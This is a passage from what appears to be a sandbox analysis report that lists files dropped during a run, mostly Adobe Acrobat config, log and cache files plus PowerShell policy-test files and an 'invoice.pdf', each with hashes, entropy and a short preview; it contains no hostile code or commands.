DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.261884180493212
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJfshHHrPeUkwRe9:YvXKXNNZ290cd2EVGUUUkee9
MD5:	F3E61EAD032F37022223BA61FB2215D0
SHA1:	0FC2E11F804BA4ADB18B18647A8217CDE9C3D359
SHA-256:	ED2A2ACAF12BBF2D047FD631B0091B03BE6DAB70A13E396F5C52A8D7F52FCBC3
SHA-512:	C67233F0D8D240673B39A2DF23EDB962A0971000896511B809F6B343366BD004D99931452604D2B4C3A2F9C6ED99CF0A1E9CDE52704CD3022AB128A8F3204669
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.27313861768288
Encrypted:	false
SSDEEP:	6:YEQXJ2HXNNZ2/JH0nZiQ0Y4HWEeoAvJTqgFCrPeUkwRe9:YvXKXNNZ290cd2EVGTq16Ukee9
MD5:	A1D8FCB4AD986FB5CFA838C0B6F7980C
SHA1:	E928F3D7FF270C1A7CF5200F0D5E50CF6027F307
SHA-256:	85251238E1D15CE29049CA95E5A21EFE5008864824C27C8575677D032FEA8475
SHA-512:	E827FBD2A6BDC5A80208848E2C4958D49A131E64033D95F57FF12C3A4E47FD159D401A622A8472D7179C8A3CDFFC2DDB96BF97171BB5918A17192AF0FE044895
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"58dc8195-edeb-4e0a-b6bf-f7d97580d33f","sophiaUUID":"7B9B8415-3339-46DA-BE0A-54DDE09AC518"},"encodingScheme":true,"expirationDTS":1736950365902,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.1260666537095405
Encrypted:	false
SSDEEP:	24:YUNV1UWa471ay52uva4MlbABMpsPSENsjhnJsj0Ss7c2v2LSeCQxfPBX9MV2Pn50:YUNVv0cSWusKVT+fG4ffvMuKB9F
MD5:	525C7125E9DC274CBDC84F18BB1EA059
SHA1:	9A4428C753CD5CCBDAC7ED092AEB685C7A68D4FC
SHA-256:	E88E2C4FDE93C138EF0ACE681E5B9655302EEF315A3D9C6327F8976AC17D95DA
SHA-512:	E5A92F44B44E3D1FC5727A4CB88C0256DC12C7B62083E8DAFB3BBC2A0120C91B992794CC17AE2C1017E84871275E0C797194CA4D4855910E10C61FC9542B5F1F
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"1e00bfea846f9db22fca01e70359edee","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736771116000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"301827bc9225c52dde5cb44384ec40d3","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736771115000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"d17af58f85c7b7c7a21102f414751842","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736771115000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"a778f2a7189a15c9cb4de7b0491df443","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736771115000},{"id":"DC_Reader_Edit_LHP_Banner","info":{"dg":"8b39c39af105a89f92dbe0e6eb37437b","sid":"DC_Reader_Edit_LHP_Banner"},"mimeType":"file","size":289,"ts":1736771115000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"46a5960fec4dfe904a2084a69da1c848","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 24, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 24
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.1464146726721622
Encrypted:	false
SSDEEP:	24:TLhx/XYKQvGJF7ursuRZXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHh:TFl2GL7mswXc+XcGNFlRYIX2v3kh
MD5:	3BD1E70A88DFB6A2E214E77812C608DC
SHA1:	D9C352299434AC962734828EF5FD73B57CEF6358
SHA-256:	1EE7352D80F5AFF4D77600E0FEB3CA44A48C978DF81FB555AE6A10E0D80B7518
SHA-512:	B6D00887A83ABD08B1095EA2829EE1C866AFDC03E1275E7BAE9F23CCA4B21DA05CD453806AA65DE2CFC2BCBC513EA12964B5354F5DCDDD78273A0B0B74791386
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.552541711970858
Encrypted:	false
SSDEEP:	24:7+tbOUXcMRZXcMZgux3Fmu3n9u1oGuDyIX4uDyvuOudIUudcHRuLuxOqLxx/XYKT:7MbHXc+XcGNFlRYIX2vXqVl2GL7msL
MD5:	43BD18B2E775CDF9B135F5EA7B45AEC9
SHA1:	72BFE1E756FA7E60A0ADE81314EB8012F5A45370
SHA-256:	B9B75D62DAB7BF8F4F7A57E7C1F2EE44EB9AD591AAE113B47C6B1DE7AE9EB04A
SHA-512:	4B7F3897E7711DCA4D906A4B24E1D8A601F580D66E699A95185DE22F5C759B846EEDC87EEDF727C9DC4A51A25CD94C9A7C5507607FF8DA2472355D62EDF25581
Malicious:	false
Preview:	.... .c...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................b..b.b.b.b.b.b.b.b.b.b.b.b.b..................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgF0/6Www3tGTuliy3yHaXpBKYyu:6a6TZ44ADEF0/jwwITujpcK
MD5:	92DE347E9B4F2FEC320477170D77D20B
SHA1:	9FC8BBEBE523DCEC7AB270FD22367FBB5048999E
SHA-256:	3C6E17D076768E3BB01925AD667EBE42BA2D62DBE0B70BD3E2FA245B13650A56
SHA-512:	E8FEE873A5D31706E2D1C9AB4D75EA3EFF447EF775A0685030F63CD8E18016AAA38D332EDA03491A8E6C083465C9A6C909F3A221F91D757F420B6BF351859356
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:NlllulnmWllZ:NllUmWl
MD5:	3EBBEC2F920D055DAC842B4FF84448FA
SHA1:	52D2AD86C481FAED6187FC7E6655C5BD646CA663
SHA-256:	32441EEF46369E90F192889F3CC91721ECF615B0395CEC99996AB8CF06C59D09
SHA-512:	163F2BECB9695851B36E3F502FA812BFBF6B88E4DCEA330A03995282E2C848A7DE6B9FDBA740E3DF536AB65390FBE3CC5F41F91505603945C0C79676B48EE5C3
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSI1afc0.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.5162684137903053
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K84jCl65DYle:Qw946cPbiOxDlbYnuRKTjlaw
MD5:	810A30A8F4DD1776169853650BA43B7B
SHA1:	D138A249A4E5BB5E90BD532F55A66898824E9A18
SHA-256:	5E4998CF8D89633BAD9910AEE0AA8891CCAC40E03F9E6E4DB153F4DAE3FBCEBC
SHA-512:	255847C7D54967515C2A8D80F0F68B4C14B01411FFDC50AF9ECCEE0840B7184299D44F7D69BC7DB34957E92320829F2D6CCED977B6B00D47D8BF5CDE1DD956A3
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.3./.0.1./.2.0.2.5. . .0.7.:.2.5.:.1.6. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4oodyiu2.hhs.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ba403bqm.vla.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-13 07-25-08-595.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.338264912747007
Encrypted:	false
SSDEEP:	384:lH4ZASLaTgKoBKkrNdOZTfUY9/B6u6AJ8dbBNrSVNspYiz5LkiTjgjQLhDydAY8s:kIb
MD5:	128A51060103D95314048C2F32A15C66
SHA1:	EEB64761BE485729CD12BF4FBF7F2A68BA1AD7DB
SHA-256:	601388D70DFB723E560FEA6AE08E5FEE8C1A980DF7DF9B6C10E1EC39705D4713
SHA-512:	55099B6F65D6EF41BC0C077BF810A13BA338C503974B4A5F2AA8EB286E1FCF49DF96318B1DA691296FB71AA8F2A2EA1406C4E86F219B40FB837F2E0BF208E677
Malicious:	false
Preview:	SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:066+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=e060408f-9833-415c-bd59-cc59ace6b516.1696488385066 Timestamp=2023-10-05T08:46:25:067+0200 ThreadID=6912 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.333204108509403
Encrypted:	false
SSDEEP:	384:c0KRyALjgDiPrgcYeIkpFmyjXEKnRqS3B7WSN1FwJEBZ3jfcmP6GebebWb5+CTT1:gjC
MD5:	36F8140E6E59B1111B7835D868F2DF43
SHA1:	782F0C33208F31C8A62F0C07EA7E3AC59C115B4C
SHA-256:	B2538C848CB3FAFE5BA67135EC22D9A06E54659AA3CADD2B6892AB6BBE3F4947
SHA-512:	E9ACB793CFAC0601D4D07C4A3B72D49D51E99A02B71B4A806B5EC18CAFD20EB13C27805E9B0E5A9F5496E3E33D87A707A777A42B3DDB603DD449C53B6089B358
Malicious:	false
Preview:	SessionID=1c550326-44c5-44ad-a0bc-c703c474df22.1736771108606 Timestamp=2025-01-13T07:25:08:606-0500 ThreadID=7676 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=1c550326-44c5-44ad-a0bc-c703c474df22.1736771108606 Timestamp=2025-01-13T07:25:08:607-0500 ThreadID=7676 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=1c550326-44c5-44ad-a0bc-c703c474df22.1736771108606 Timestamp=2025-01-13T07:25:08:607-0500 ThreadID=7676 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=1c550326-44c5-44ad-a0bc-c703c474df22.1736771108606 Timestamp=2025-01-13T07:25:08:607-0500 ThreadID=7676 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=1c550326-44c5-44ad-a0bc-c703c474df22.1736771108606 Timestamp=2025-01-13T07:25:08:607-0500 ThreadID=7676 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.400171044435141
Encrypted:	false
SSDEEP:	192:acb4I3dcbPcbaIO4cbYcbqnIdjcb6acbaIewcb3cbaIhLcbd:V3fOCIdJDeyh8
MD5:	0F571C6201D8AD18DAE52B983ABD9AC5
SHA1:	F1350AED46E03920A41464E4111FC7C024A40E1D
SHA-256:	67FD850A34725604BA8B94459F7386651D2BDDA39CAB863558E4CD75FA883990
SHA-512:	B7477F27F1358EF04636BFC63920CDC486C6C3CF67A8FA0FD4B4F47DF3064F4D1A9FC7D9DB1155412D6478C703BE29FC29BC5043050533EB6715938A8B88F859
Malicious:	false
Preview:	05-10-2023 08:20:22:.---2---..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 08:20:22:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 08:20:22:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\42ada72a-457f-462b-88d0-2ab4e8c9f6f4.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4b8eb443-332a-4bd7-b112-30f752a3f180.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xA7owWLkwYIGNPMGZfPdpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JVwWLkwZGuGZn3mlind9i4ufFXpAXkru
MD5:	CA6B0D9F8DDC295DACE8157B69CA7CF6
SHA1:	6299B4A49AB28786E7BF75E1481D8011E6022AF4
SHA-256:	A933C727CE6547310A0D7DAD8704B0F16DB90E024218ACE2C39E46B8329409C7
SHA-512:	9F150CDA866D433BD595F23124E369D2B797A0CA76A69BA98D30DF462F0A95D13E3B0834887B5CD2A032A55161A0DC8BB30C16AA89663939D6DCF83FAC056D34
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\4dcacac4-0c78-4e98-9d12-a5997b9b445a.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\7e4cd2fa-d760-444e-bf62-05ddc16d4d79.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
